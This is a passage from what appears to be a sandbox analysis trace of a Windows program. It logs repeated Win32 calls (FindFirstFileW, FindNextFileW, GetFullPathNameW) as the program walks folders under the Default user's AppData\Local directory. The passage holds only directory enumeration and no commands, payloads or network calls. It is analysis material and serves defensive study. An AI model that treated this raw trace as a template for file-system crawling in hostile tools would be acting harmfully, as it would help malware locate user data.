dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.551] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0209.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0209.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0209.552] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x2f [0209.552] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\*" (normalized: "c:\\users\\default\\appdata\\local\\application data\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0209.558] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x2f [0209.558] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\*" (normalized: "c:\\users\\default\\appdata\\local\\application data\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd290) returned 1 [0209.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0209.563] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\History", lpFilePart=0x0) returned 0x26 [0209.563] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\*" (normalized: "c:\\users\\default\\appdata\\local\\history\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd290) returned 1 [0209.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0209.569] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\History", lpFilePart=0x0) returned 0x26 [0209.569] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\*" (normalized: "c:\\users\\default\\appdata\\local\\history\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd290) returned 1 [0209.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0209.574] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x28 [0209.574] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0209.575] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.575] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0209.576] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0209.576] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0209.576] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0209.576] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0209.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0209.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0209.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0209.577] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x1e1dcdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x28 [0209.577] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\*"), lpFindFileData=0x1e1dd000 | out: lpFindFileData=0x1e1dd000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.577] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.577] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0209.577] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0209.577] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x377dee7, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0209.578] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.578] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0209.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0209.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0209.578] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x3d [0209.578] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\inputpersonalization\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.579] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.579] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0209.580] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 0 [0209.580] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0209.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0209.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0209.580] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x3d [0209.580] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\inputpersonalization\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.581] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.581] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0209.581] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.581] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0209.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0209.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.582] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x4e [0209.582] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\inputpersonalization\\traineddatastore\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0209.582] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.582] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.582] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0209.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0209.583] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x4e [0209.583] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\inputpersonalization\\traineddatastore\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.583] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.583] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.583] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0209.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0209.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0209.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows", lpFilePart=0x0) returned 0x30 [0209.584] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.586] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.586] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0209.586] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, 